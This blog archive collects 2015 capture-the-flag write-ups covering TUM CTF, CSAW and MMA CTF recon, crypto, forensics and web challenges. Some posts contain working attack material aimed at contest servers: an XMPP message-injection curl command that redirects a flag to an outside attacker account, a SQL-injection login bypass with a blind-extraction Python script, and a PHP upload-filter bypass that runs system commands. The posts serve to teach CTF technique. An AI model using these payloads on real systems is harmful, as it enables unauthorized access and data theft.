Showing posts with label 2015. Show all posts
Showing posts with label 2015. Show all posts

Sunday, October 25, 2015

TUM CTF 2015 - Italy Food (200)





This was a new CTF coming from H4x0rPsch0rr team representing Technische Universität München.
The point system seemed a little off, but overall I had fun with these challenges!

On this one, I primarily targeted higher point challenges in Misc & Web.

"Italy Food" was a challenge about exploiting a restaurant's website.
It was solved very quickly by another team early on in the game, but then through-out the day, no one else could figure it out until later.  It turns out it wasn't the most difficult to solve, but interesting to go through.


URL: http://1.ctf.link:1120
Description:
Organizing a CTF makes hungry... anyone in for pizza?
Get it while it's hot, hawt, HAWT!!!

1.ctf.link:1120


First started by looking at the sources tab in Google Chrome's Dev Tools.  There were some custom CSS files, font-awesome, vendor css, vendor javascript, and some very simple js logic for controlling the header menu  (Probably part of the Theme).

If you notice above the "Reservation" tab is the darkest color.  I hadn't seen this at first, but it's fairly obvious this was the target.  Also noticed during the challenge, no other pages had any obvious input areas which could potentially be abused.




On this form we have a very clear message telling us how this works.

With our patent pending XMPP reservation 
messaging system, our manager will be 
instantly notified and will respond near 
instantly. Our system will send your 
reservation FLAG right to him!

So the main points here are:

  • XMPP (Protocol being used)
  • Manager will be notified of this message  (Some Jabber Acct.)
  • sending the reservation FLAG (Payload is loaded with FLAG already)


The first thing I try with any Web challenge is to see what type of filters may not be setup.  The first thing I tried seemed to work, I filled out each entry with reasonable values except the "Message" section.  That section was where I put:

abcd
<br>
etc

This returned with an Error!  Looks like we're onto something!

Fatal error: Uncaught exception 'Fabiang\Xmpp\Exception\XMLParserException' with message 'XML parsing error: "Mismatched tag" at Line 5 at column 63' in /var/www/html/vendor/fabiang/xmpp/src/Exception/XMLParserException.php:68 Stack trace: #0 

/var/www/html/vendor/fabiang/xmpp/src/Stream/XMLStream.php(160): Fabiang\Xmpp\Exception\XMLParserException::create(Resource id #13) #1 

/var/www/html/vendor/fabiang/xmpp/src/Connection/Socket.php(162): Fabiang\Xmpp\Stream\XMLStream->parse('send(Object(ProxyStanza)) #4 {main} thrown in 

/var/www/html/vendor/fabiang/xmpp/src/Exception/XMLParserException.php on line 68


It looks like we've got an XML parsing error.  It also looks like they're using a 3rd party php module called "xmpp" by fabiang (found here - https://github.com/fabiang/xmpp)

After looking into this repository, I found where it was failing.  But I was more interested in how to exploit this failure.  Maybe the xmpp repo can shed some light of how the XML is structured in the request.

Searching through the repo, it was very well tested, which means there are also more examples to look at.  The one that helped the most was under Protocol tests for Messages - https://github.com/fabiang/xmpp/blob/master/tests/src/Protocol/MessageTest.php#L83

public function testToString()
{
    $this->object->setTo('foobar')->setMessage('testmessage');
    $this->assertRegExp(
        '#<message type="chat" id="fabiang_xmpp_[^"]+" to="foobar"><body>testmessage</body></message>#',
        $this->object->toString()
    );
}



So let's break this down quickly....

We have a very simple structure for the message:

<message type="chat" id="some_id" to="jabber_id"><body>CONTENT</body></message>

Now we know the flag is being sent to the Manager, and we want the flag... so why don't we just send it to ourselves?  We'll need to change the "to" attribute for this to work.

We'll also assume that the form being submitted from the restaurant's reservation page is being inserted into the body of the message.


Let's also use an easier way of testing each attempt (Some bare minimum essentials for the POST request):

curl -XPOST 'http://1.ctf.link:1120/reservation.php' --data 'name=test&message=<br>'

Now let's construct our target payload for the submission.

First we need to end the body & message tags:

</body></message>

Then we need our newly constructed message and body tags targeting our own temporary XMPP Jabber account:

<message to="attacker@jabb3r.de"><body>


The whole thing together:

curl -XPOST 'http://1.ctf.link:1120/reservation.php' --data 'name=attacker: &message=</body></message><message to="attacker@jabb3r.de"><body>'

Now back on our XMPP Client signed into the attacker account, we've got the resulting Flag!


hxp{we_need_a_xep_for_fastfood_ordering}


Tuesday, September 22, 2015

CSAW 2015 - Recon & Trivia


The Recon on this CTF was very involved, and I love whenever challenges like these are designed and presented.

It felt like the point count vs. effort was a little off overall in this CTF, but I still enjoyed solving each of these!

Julian Cohen (100)


The "Julian Cohen" challenge was one of the easiest out of all the Recon ones.  You search for "CTF Julian Cohen" and you find the twitter handle HockeyInJune, which was recognizable as one of the admins on the CSAW CTF.  The note read:
Enough cocks, cabs, hockey, laser beams, and dates.  This year's recon challenge is going to be easy:
flag{f7da7636727524d8681ab0d2a072d663}
Source: https://twitter.com/HockeyInJune/status/641716034068684800

And just like the tweet says.. that one was easy! : )


Alexander Taylor (100)


This challenge was definitely the most involved.  It felt like it could've been 150-200 pts instead of 100.  There were multiple steps, starting from this point:
http://fuzyll.com/csaw2015/start

This link responds with some text:
CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.

So the first clue tells us to look for his university's hacking club.
Searching for this yields the following article:
Google Query: "Alexander Taylor" + club hacking security
http://www.usforacle.com/news/view.php/688459/Students-hacked-their-way-into-national-
Whitehatters (WCSC) is the club's name mentioned in the article.

Now trying http://fuzyll.com/csaw2015/wcsc, we get a response with the next clue:
CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==
Okay, base64 decode that, and we get:
$ echo 'TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==' | base64 -D

Nice work! The next part is at /csaw2015/<my super smash brothers main>.

Now we need to find the Super Smash main character he uses. Earlier I had found his twitter handle after searching his name, recognized it just like HocketInJune: https://twitter.com/fuzyll

Looking at his Tweets & Replies I found this message - https://twitter.com/fuzyll/status/629388270791581697
@who_is_KDB: I analyzed a game of yours in a SmashBoards thread (http://smashboards.com/threads/unpopular-opinion-yoshi-is-not-high-tier-evidence-inside.412944/page-2#post-19852453 …). Thoughts?

Following that link, I found his Super Smash forum user profile.  Hovering over the icons under his avatar you see one says main.  Going into his profile you see a clear listing of this with the names displayed: http://smashboards.com/members/fuzyll.300464/#info
...
Smash 64 Main: Ness
Melee Main: Ness
Brawl Main: Random
Smash WiiU Main: Yoshi

I tried Ness / ness at first, but that didn't work... Then I tried Yoshi (my favorite character) and that was it!

http://fuzyll.com/csaw2015/yoshi


This cute image of Yoshi was the only thing on the page.  When saving the file it saved with the .txt extension.

Now if we strings that (because it still is a PNG) -- we'll get this:

$ strings ~/Downloads/yoshi.txt | head

IHDR
bKGD
pHYs
tIME
tEXtComment
CSAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/.
IDATx
smBl
$h;!|
yYp19dn

The next part is the cryptosystem he had to break during his first Defcon Quals CTF.

This admittedly took me a long time to figure out,  after looking again at his CTF group in college - "Whitehatters (WCSC)" -- I found a listing of their competition history:
http://www.wcsc.usf.edu/scoreboard

Looking at that page, we can find the Defcon Quals they participated in. After looking around for a while, trying to find any writeups they may have created for this challenge, I couldn't find any and decided to find others who may have posted one.

On one Defcon 18 Quals writeup I noticed the mention of a crypto challenges with the enigma featured in it:
http://www.vnsecurity.net/ctf%20-%20clgt%20crew/2010/05/25/defcon-18-quals-writeups-collection.html

And trying that produced the next Clue: http://fuzyll.com/csaw2015/enigma
CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj

var s = "THIS IS THE INPUT"
var c = ""
for (i = 0; i < s.length; i++) {
    c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4);
}
console.log(c);

Okay, at this point I'm thinking .... yess, only 1 more after this, that question mark had me worried earlier.
This one was cake, just xor the value. Decided to use python for this instead of javascript because it looks a little cleaner:
$ python
>>> ''.join([chr(ord(x) ^ 0x4)  for x in "Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj"])

'The next stop on your quest is: /csaw2015/they_see_me_rollin'

Visiting: http://fuzyll.com/csaw2015/they_see_me_rollin ...

BOOM Flag! :D
CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!


Eric Liang (100)


Just like Notesy (write-up can be found here),  "Eric Liang" was one was filling the IRC chat for this CTF.  Everyone was looking for Eric Liang, where was he, where was ... Eric Liang ?

The description read:
Eric played ctfs with some friends a while ago.

Hint: I remember playing with them around 2014... err maybe 2013?
This one probably harvested the most frustration, but was also the closest to the CTF as it could possibly be.

After finding his Facebook, Twitter, IRC nick, LinkedIn, Email, Github, etc. ( All of which were irrelevant to the challenge, unless social engineering counts ) ... I gave up for a little while.

Finally looked at the top right of the page for the challenge, saw the "Archive" drop-down.  Looking in this there was 2014 & 2013 dates as mentioned in the hint.

Looking all over 2014, there seemed to be nothing. Then went onto year 2013, after a few seconds, it popped out from the Quals > Competitors page. After such a long search, it was just in our CTF backyard, hanging out in the Archive section. Just like other challenges such as "Notesy", and "Throwback", the web 600 challenge, this was another in the category of easy but unusual.


Trivia (10's)


These were fairly fast for us to solve through-out the CTF, but was a nice break between high point challenges.  Below are some quick summaries of each trivia challenge, including some extra links if you want to look into each one more!

Question: This family of malware has gained notoriety after anti-virus and threat intelligence companies claimed that it was being used by several Chinese military groups.

Solution: This was PlugX, could've been a few different solutions, but this was the most popular result.  More Information: https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf

Question: No More Free __!

Solution: No More Free Bugs Meme starting at CanSecWest, more details can be found here - http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/

Question: This mode on x86 is generally referred to as ring -2.

Solution: System Management Mode, more reading material can be found here - http://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf

Question: This vulnerability occurs when the incorrect timing/sequence of events may cause a bug.

Solution: This was either Timing Attack or Race Condition, turned out to be Race Condition.  This is a common one, so, wikipedia: https://en.wikipedia.org/wiki/Race_condition

Question: On Windows, loading a library and having it's code run in another process is called _ .

Solution: DLL Injection, here's a tutorial : ) - http://resources.infosecinstitute.com/api-hooking-and-dll-injection-on-windows/

Question: This Pentesting expert supplied HBO's Silicon Valley with technical advice in season 2. 
The flag is his twitter handle.

Solution: Searched for the pentesting expert on Silicon Valley, and found the one and only Rob Fuller aka Mubix!  - https://twitter.com/mubix

Thoroughly enjoyed this CTF, can't wait for next years !

CSAW 2015 - Forensics (Keep Calm & CTF, Flash, Airport)


Forensics is always my favorite topic in any CTF.  Some of the challenges on this one turned out a little easy, but it was still very fun!

Keep Calm and CTF (100)

Starting out on this one, I did what I normally do.  Run strings, exiftool and xxd.
Strings turned up with nothing, so next was exiftool:

$ exiftool img.jpg

ExifTool Version Number         : 9.12
File Name                       : img.jpg
Directory                       : .
File Size                       : 92 kB
File Modification Date/Time     : 2015:09:22 09:07:17-07:00
File Access Date/Time           : 2015:09:22 09:07:17-07:00
File Inode Change Date/Time     : 2015:09:22 09:07:17-07:00
File Permissions                : rw-r-----
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
X Resolution                    : 72
Y Resolution                    : 72
Exif Byte Order                 : Big-endian (Motorola, MM)
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Copyright                       : h1d1ng_in_4lm0st_pla1n_sigh7
Image Width                     : 600
Image Height                    : 700
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 600x700
Instantly got the flag from that, hiding in the Copyright section:
h1d1ng_in_4lm0st_pla1n_sigh7


Flash (100)

The next one was even easier, again as I mentioned in the Crypto writeup, this year I thought i'd run strings on everything, and what do we get ?
$ strings flash_c8429a430278283c0e571baebca3d139.img | grep -i "flag{"

flag{b3l0w_th3_r4dar}


airport (200)

This one was a little obscure, it was more of a stego challenge, with a bit of recon.

First I have to credit my team-mate @Matir - https://systemoverlord.com/.  He came up with all the airport locations which was much needed to solve for the flag.

In this one we received a directory filled with 4 png's & one jpeg, shown below:
$ ls -l

total 17808
drwxrwxrwx  7 user  staff      238 Sep 22 09:24 .
drwxr-xr-x  5 user  staff      170 Sep 18 17:28 ..
-rwxrwxrwx@ 1 user  staff  2198373 Sep 17 10:23 1.png
-rwxrwxrwx@ 1 user  staff  1899632 Sep 17 10:23 2.png
-rwxrwxrwx@ 1 user  staff  2262857 Sep 17 10:23 3.png
-rwxrwxrwx@ 1 user  staff  2744123 Sep 17 10:23 4.png
-rwxrwxrwx@ 1 user  staff     4185 Sep 17 10:59 steghide.jpg

1.png:


2.png:


3.png:


4.png:


steghide.jpg:



Ran various stego tools, tried some shifts and bitplane isolations, lsb, also xor'd the images to see if that would result in anything.  But the StegHide clue was a glaring one.  That couldn't be ignored.

Cloning StegHide and running it, we can notice that it won't work on any png images.  So now the only option is to run it on the steghide image itself.  Love it.

After running through many permutations of possible passwords, we ended up stringing together the airport IATA codes, to see if that would work.

First tried:
$ steghide extract -sf steghide.jpg -p HAV-HKG-LAX-YYZ

steghide: could not extract any data with that passphrase!

No Dice....

What about removing the dashes?

$ steghide extract -sf steghide.jpg -p HAVHKGLAXYYZ

wrote extracted data to "key.txt".

$ cat key.txt

iH4t3A1rp0rt5

Got the Flag!
flag{iH4t3A1rp0rt5}

CSAW 2015 - Crypto [50, 50, 50, 100]

























This was a great CTF!  Ended up solving 15 (CSAW '15) challenges in total, and most of them were in the first hour, but they were also very fun!

The Crypto challenges were interesting, and the first few had a little twist of recent popular media in them.

First, let's go through the 50 pt challenges.  Each one had a filename relating to an episode of Mr. Robot.


eps1.1_ones-and-zer0es.mpeg  (50)

This was the first challenge.  Looking like a forensics challenge almost, the first thing I intuitively did was strings the mpeg, it's a crypto challenge right?
(By the way, I had noticed a few of the challenges last year were solved just by using strings, so I tried that on almost everything I got....  Seemed to work for a couple this year as well!)

$ strings eps1.1_ones-and-zer0es.mpeg
01100110011011000110000101110100011110110101000001100101011011110111000001101100011001010010000001100001011011000111011101100001011110010111001100100000011011010110000101101011011001010010000001110100011010000110010100100000011000100110010101110011011101000010000001100101011110000111000001101100011011110110100101110100011100110010111001111101001000000100100100100111011101100110010100100000011011100110010101110110011001010111001000100000011001100110111101110101011011100110010000100000011010010111010000100000011010000110000101110010011001000010000001110100011011110010000001101000011000010110001101101011001000000110110101101111011100110111010000100000011100000110010101101111011100000110110001100101001011100010000001001001011001100010000001111001011011110111010100100000011011000110100101110011011101000110010101101110001000000111010001101111001000000111010001101000011001010110110100101100001000000111011101100001011101000110001101101000001000000111010001101000011001010110110100101100001000000111010001101000011001010110100101110010001000000111011001110101011011000110111001100101011100100110000101100010011010010110110001101001011101000110100101100101011100110010000001100001011100100110010100100000011011000110100101101011011001010010000001100001001000000110111001100101011011110110111000100000011100110110100101100111011011100010000001110011011000110111001001100101011101110110010101100100001000000110100101101110011101000110111100100000011101000110100001100101011010010111001000100000011010000110010101100001011001000111001100101110

So, just guessing, this is probably a string encoded in binary.  Let's see what it looks like, if it's not, we'll output it to a file.

Found a very simple line to use to convert the binary to string in python: http://stackoverflow.com/questions/7290943/write-a-string-of-1s-and-0s-to-a-binary-file

>>> b = '011001....0101110'  # Abbreviated version of the dump above 
>>> print bytearray(int(b[x:x+8], 2) for x in range(0, len(b), 8))

flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, their vulnerabilities are like a neon sign screwed into their heads.




eps1.7_wh1ter0se.m4v  (50)

Same idea on this Challenge.  Let's strings the m4v file.

$ strings eps1.7_wh1ter0se.m4v


EOY XF, AY VMU M UKFNY TOY YF UFWHYKAXZ EAZZHN. UFWHYKAXZ ZNMXPHN. UFWHYKAXZ EHMOYACOI. VH'JH EHHX CFTOUHP FX VKMY'U AX CNFXY FC OU. EOY VH KMJHX'Y EHHX IFFQAXZ MY VKMY'U MEFJH OU.

Looks like this one could be a simple caesar or substitution cipher. Tried my usual one-liner in python to find any glaring possible shifts it could be (Similar to this - http://fadec0d3.blogspot.com/2014/04/):
$ python
>>> s = "EOY XF, AY VMU M UKFNY TOY YF UFWHYKAXZ EAZZHN. UFWHYKAXZ ZNMXPHN. UFWHYKAXZ EHMOYACOI. VH'JH EHHX CFTOUHP FX VKMY'U AX CNFXY FC OU. EOY VH KMJHX'Y EHHX IFFQAXZ MY VKMY'U MEFJH OU."
>>> [''.join([chr(ord(x) + n) for x in s]) for n in range(-10, 20)]

Nothing is immediately obvious.
The next part I didn't do in python, just used a service that helps crack substitution ciphers.

http://quipqiup.com/index.php

Rank 1 (looks like it uses a GA to solve it) was the solution:
BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN LOOKING AT WHAT'S ABOVE US.



eps1.9_zer0-day.avi  (50)

Again, let's strings the file, see what we get.

$ file eps1.9_zer0-day.avi
eps1.9_zer0-day.avi: ASCII text, with very long lines

$ cat eps1.9_zer0-day.avi

Oh! Base64! Cool.  Looks like it also has newlines in it....

$ python

>>> b = 'RXZpbCBDb3JwLCB3ZSBoYXZlIGRlbGl2ZXJlZCBvbiBvdXIgcHJvbWlzZSBhcyBleHBlY3RlZC4g\nVGhlIHBlb3BsZSBvZiB0aGUgd29ybGQgd2hvIGhhdmUgYmVlbiBlbnNsYXZlZCBieSB5b3UgaGF2\nZSBiZWVuIGZyZWVkLiBZb3VyIGZpbmFuY2lhbCBkYXRhIGhhcyBiZWVuIGRlc3Ryb3llZC4gQW55\nIGF0dGVtcHRzIHRvIHNhbHZhZ2UgaXQgd2lsbCBiZSB1dHRlcmx5IGZ1dGlsZS4gRmFjZSBpdDog\neW91IGhhdmUgYmVlbiBvd25lZC4gV2UgYXQgZnNvY2lldHkgd2lsbCBzbWlsZSBhcyB3ZSB3YXRj\naCB5b3UgYW5kIHlvdXIgZGFyayBzb3VscyBkaWUuIFRoYXQgbWVhbnMgYW55IG1vbmV5IHlvdSBv\nd2UgdGhlc2UgcGlncyBoYXMgYmVlbiBmb3JnaXZlbiBieSB1cywgeW91ciBmcmllbmRzIGF0IGZz\nb2NpZXR5LiBUaGUgbWFya2V0J3Mgb3BlbmluZyBiZWxsIHRoaXMgbW9ybmluZyB3aWxsIGJlIHRo\nZSBmaW5hbCBkZWF0aCBrbmVsbCBvZiBFdmlsIENvcnAuIFdlIGhvcGUgYXMgYSBuZXcgc29jaWV0\neSByaXNlcyBmcm9tIHRoZSBhc2hlcyB0aGF0IHlvdSB3aWxsIGZvcmdlIGEgYmV0dGVyIHdvcmxk\nLiBBIHdvcmxkIHRoYXQgdmFsdWVzIHRoZSBmcmVlIHBlb3BsZSwgYSB3b3JsZCB3aGVyZSBncmVl\nZCBpcyBub3QgZW5jb3VyYWdlZCwgYSB3b3JsZCB0aGF0IGJlbG9uZ3MgdG8gdXMgYWdhaW4sIGEg\nd29ybGQgY2hhbmdlZCBmb3JldmVyLiBBbmQgd2hpbGUgeW91IGRvIHRoYXQsIHJlbWVtYmVyIHRv\nIHJlcGVhdCB0aGVzZSB3b3JkczogImZsYWd7V2UgYXJlIGZzb2NpZXR5LCB3ZSBhcmUgZmluYWxs\neSBmcmVlLCB3ZSBhcmUgZmluYWxseSBhd2FrZSF9Ig=='

b = b.split()  # Split by those newlines

print ''.join([x.decode('base64') for x in b])

Evil Corp, we have delivered on our promise as expected. The people of the world who have been enslaved by you have been freed. Your financial data has been destroyed. Any attempts to salvage it will be utterly futile. Face it: you have been owned. We at fsociety will smile as we watch you and your dark souls die. That means any money you owe these pigs has been forgiven by us, your friends at fsociety. The market's opening bell this morning will be the final death knell of Evil Corp. We hope as a new society rises from the ashes that you will forge a better world. A world that values the free people, a world where greed is not encouraged, a world that belongs to us again, a world changed forever. And while you do that, remember to repeat these words: "flag{We are fsociety, we are finally free, we are finally awake!}"


Flag:
flag{We are fsociety, we are finally free, we are finally awake!}




Notesy  (100)

This was one of those challenges most people were stumped on.  I was stumped on it for a while, and in IRC you could see this as a common subject.

I tried Goatse, Notesy, Alphabetic analysis, and various other ideas.  Even tried a few web / exploitation ideas out in case it was a mix of Crypto + Web.

Finally I got a hint which went along the lines: "It's not too difficult, try one of the first things you input"

Sure enough, that worked!

On any of these interactive Crypto challenges, the first thing I try is the alphabet, also repeating characters and symbols to see what the mapping is between input and output.



This was the Flag:
UNHMAQWZIDYPRCJKBGVSLOETXF























Monday, September 7, 2015

MMA CTF 2015 - Splitted (30)

This challenge started with a 7z that extracted a pcap.
Launching wireshark, I sort by the length column to check the largest packets captured.

Looks like there's a zip that was transfered, this is probably what we need to extract, also looks like it's in multiple chunks ('splitted').



After naively doing a "Follow TCP Stream" and exporting the data, I realized the segments were in the wrong order.  Notably the "PK" bytes were in the middle, which are part of the magic bytes for a zip file.  Now we need to figure out how to arrange it correctly.  The intuition of where to find this data came from a friend on the team - http://lockboxx.blogspot.com/
On a past challenge he had mentioned there are parts of the packet describing the order in which streams constructed.  Looking a little further I found the "Content-Range" attribute needed to reconstruct the original file.

By the way, if anyone knows of a nice way in python to pull the "Content-Range" section out of the HTTP headers, please leave a comment below, I would love to know!



In this example, we're looking at the 2nd packet in the chain of total split packets.  It shows the Content-Range is 269-937.  Now we just need to export each data portion of the packet to a file.  We'll start by copying the hex representations to a python file and export the zip this way.

By right-clicking on the field underneath "Media Type" we can go to Copy > Bytes > Hex Stream, which will be the representation of bytes in the payload section of this packet only ( A lot nicer than trimming down the header section of each packet ).



Following the "Content-Range" attribute for each packet, we assemble a python file that will export the zip file contained within the capture:


Now we can extract it with unzip, and check what's inside!
Looks like we have a file called flag.psd.
Let's open that up in gimp and see what we've got.



Looks like we've got a blank canvas!  But there's another layer in the psd.  Turning off the first layer, or swapping the layers seems to do the trick.


MMA CTF 2015 - Nagoya Castle (100)


This challenge was a fun relaxing one, playing around in GIMP and eventually discovering a new tool which looks useful for future stego challenges.

The Image provided can be seen above. An upshot of a Beautiful Castle in Central Japan.

My first intuition was to go into GIMP and start playing around with threshold, color balance and curves.
Out of that I got a partial reveal of the Flag:


After taking a break and coming back, I decided to research what other people were doing to solve CTF stego challenges out there.
I stumbled upon Balda's Stegpy Release page -
http://www.balda.ch/posts/2013/Jun/04/release-stegpy/

Github link - https://github.com/Baldanos/Stegpy


After playing around with this tool (Which was very nice to use), I found the flag within seconds:
$ python stegpy.py -V castle.png

Sunday, September 6, 2015

MMA CTF 2015 - MQAAAA (70)


MQAAAA was one of those obscure stego/misc challenges that began in a search for various Binary-to-text encodings (Wiki Page) that are publicly available out there.

Between a mix of intuitive feelings and tests of each encoding, and analysis of letter frequencies, I landed on the first being base64. This seemed too simple, but then looking at the result, I saw the title of the challenge in the obscure output: "MQAAAA"

Base64 Decode:
$ echo 'I0B+Xk1RQUFBQT09CVVtLmJ3RFIrMXRLY0p0SCkJRHRubTZWbFRtaEtETnxyZHtLNDZFZG1DT2JXVThyYmpSSUFBQT09XiN+QA==' | base64 -D
Output:
#@~^MQAAAA== Um.bwDR+1tKcJtH) Dtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@

Okay.... We've got some base64 lookin' stuff... some non base64 lookin' stuff... lots of space, and MQAAAA== decodes to 1. Great.

After being stumped for a while, I went on an assumption that this is another type of encoding or language out there somewhere.
Noticed that the start and end of this result was #@~^ and ^#~@... After looking at php for hours, having the image of deepen it's way into my retinas, I had the thought of pre / post tokens for languages burnt into my current thoughts. So let's search for one.

On SymbolHound (Great site for searching symboles) - I looked for the beginning segment: #@~^
The only Result:

It's IT | softwareontwikkeling, webdevelopment, ict oplossingen op maat
#@~^FQAAAA==@#@&CCb@#@&zz O@*@#@&TQIAAA==^#~@ HaiHai HaiHai #@~^IgAAAA==@#@&CCbCmk@#@&CmrCmk@#@&JzRR@*@#@&mgUAAA==^#~@ Cute. As you can see, @#@& appears to be a newline (@#
http://itsit.nl/klaphek/scrdec.html


This leads to a post entitled: "Breaking the Windows Script Encoder"
The code we're looking at after the Base64 decoding is JSCript. A funky version of ECMAScript used in windows (originally for ActiveX).

I did not read the article the search resulted in. Instead after looking on wikipedia for JScript I found a mention to the numerous online decryption services for JScript. After some searches I didn't find one hosted online, but did find a C script hosted on a site that was currently down, but available on the WaybackMachine - link.

And the C file which encodes & decodes JScript files: http://web.archive.org/web/20140209124110/http://www.virtualconspiracy.com/download/scrdec18.c


After compiling and running that against a new file containing the output of the base64 decoding, we get the flag:
WScript.echo("MMA{the_flag_word_is_obfuscation}")

MMA CTF 2015 - cannotberun (80)


Admittedly this one wasn't an interesting process as I didn't have access to any windows boxes or VM's. So it was quickly done in radare2.
$ r2 cannotberun
> s sym.main

Used '<' and '>' hotkeys in radare2 to step through the code a bit, and found an interesting looking block (About 7 pages down):
0000:04f4    40           inc ax
0000:04f5    0938         or word [bx + si], di
0000:04f7    c6400a31     mov byte [bx + si + 0xa], 0x31     ; [0x31:1]=0 ; '1'
0000:04fb    c6400b66     mov byte [bx + si + 0xb], 0x66     ; [0x66:1]=32 ; 'f'
0000:04ff    c6400c73     mov byte [bx + si + 0xc], 0x73     ; [0x73:1]=10 ; 's'
0000:0503    c6400d67     mov byte [bx + si + 0xd], 0x67     ; [0x67:1]=114 ; 'g'
0000:0507    c6400e36     mov byte [bx + si + 0xe], 0x36     ; [0x36:1]=0 ; '6'
0000:050b    ff15         call word [di]
unk(unk, unk) ; section_end..text

Doesn't look big enough to be a flag, but let's try shifting around a little. I usually play with left and arrow keys to see if alignment issues are in place. In this case, it seemed like there were. You'll see the result after shifting to the right amount below:
0000:04d0    c60037       mov byte [bx + si], 0x37           ; [0x37:1]=0 ; '7'
0000:04d3    c6400161     mov byte [bx + si + 1], 0x61       ; [0x61:1]=39 ; 'a'
0000:04d7    c6400233     mov byte [bx + si + 2], 0x33       ; [0x33:1]=0 ; '3'
0000:04db    c6400335     mov byte [bx + si + 3], 0x35       ; [0x35:1]=0 ; '5'
0000:04df    c6400468     mov byte [bx + si + 4], 0x68       ; [0x68:1]=117 ; 'h'
0000:04e3    c6400578     mov byte [bx + si + 5], 0x78       ; [0x78:1]=36 ; 'x'
0000:04e7    c6400662     mov byte [bx + si + 6], 0x62       ; [0x62:1]=116 ; 'b'
0000:04eb    c6400739     mov byte [bx + si + 7], 0x39       ; [0x39:1]=0 ; '9'
0000:04ef    c6400871     mov byte [bx + si + 8], 0x71       ; [0x71:1]=63 ; 'q'
0000:04f3    c6400938     mov byte [bx + si + 9], 0x38       ; [0x38:1]=0 ; '8'
0000:04f7    c6400a31     mov byte [bx + si + 0xa], 0x31     ; [0x31:1]=0 ; '1'
0000:04fb    c6400b66     mov byte [bx + si + 0xb], 0x66     ; [0x66:1]=32 ; 'f'
0000:04ff    c6400c73     mov byte [bx + si + 0xc], 0x73     ; [0x73:1]=10 ; 's'
0000:0503    c6400d67     mov byte [bx + si + 0xd], 0x67     ; [0x67:1]=114 ; 'g'
0000:0507    c6400e36     mov byte [bx + si + 0xe], 0x36     ; [0x36:1]=0 ; '6'

This Looked more promising.
Pasted this in vim, and did the following to clean the data:
%s/; //g
%s/'//g
%s/\n//g

Wrap this data in the flag format, and we've got a valid flag!
MMA{7a35hxb9q81fsg6}

MMA CTF 2015 - Login as admin! (30)

On this challenge I took an approach that was probably over-engineered. Used Blind SQLi to find the password of the admin user.


You can login with 'test/test' credentials, which gives you this output:
You are test user.
logout

Let's try logging in with the admin' user.

Initially tried a simple sql injection and it worked immediately:
Username: admin' --
This output was provided, saying we needed to go further by finding the password for the user:
Congratulations!!
You are admin user.
The flag is your password!
logout

This worked without setting the password field, so this makes things easy. Didn't want to attempt dumping the password or joining with the username. So instead went the Blind SQLi route. First tried the initial effort by running:
admin' and password like '%' --
> Success!
admin' and password like 'MMA{%' --
> Success!
admin' and password like 'abcd%' --
> Expected Failure.

Now that we have that out of the way, let's write a python client!
import sys
import requests
import random
import string

url = "http://arrive.chal.mmactf.link/login.cgi"
injection = "admin' and password like '{}' --"

allChars = string.lowercase

solution = "MMA{"

def found(c):
  print "Found! :: {}".format(c)
  print solution

while len(solution) < 80:
  for c in allChars:
    print 'Attempt: {}'.format(c)
    content = requests.post(url, {
      "username": injection.format(solution + c + "%")
    }).content
    if 'invalid' not in content:
      solution += c
      found(c)
      break
    elif c == 'z':
      solution += '_'
      found(c)


After a few cycles, this prints out:
  MMA{cats_alice_band}

MMA 1st CTF 2015 - Uploader (100)


This was one I went back and forth to. The CTF had a few LFI vulnerabilities featured in their challenges. This was purely focused on one.
The Description looked something like this:

This uploader deletes all /<\?|php/. So you cannot run php.

http://recocta.chal.mmactf.link:9080/
http://recocta.chal.mmactf.link:9081/ (Mirror 1)
http://recocta.chal.mmactf.link:9082/ (Mirror 2)
http://recocta.chal.mmactf.link:9083/ (Mirror 3)
You can only upload files whose name is matched by /^[a-zA-Z0-9]+\.[a-zA-Z0-9]+$/.


So it sanitizes the content of your upload by stripping "php" & "?". This makes it so you cannot do "<php" or "<?" to start php interpretation.

At first I tried a few different variations on those beginning tokens, with spaces, escapes & html codes etc.

If you look up beginnings for php, you'll find a special one written in html: https://wiki.php.net/rfc/remove_alternative_php_tags

So now we can write a file such as this:
<script language=php> echo "testing"; </script>
Looks like the file didn't parse correctly, but it also looks like it stripped php, just like the regex shows.

Let's try capitalizing it so it reads:
<script language=PHP> echo "testing"; </script>

Sure enough, we upload this, and it works!

Now we need to do something more important with the payload we upload. Let's try finding the flag! Grep should do the trick!
<script language=PHP> echo system("egrep -rnis 'MMA\{' /"); </script>

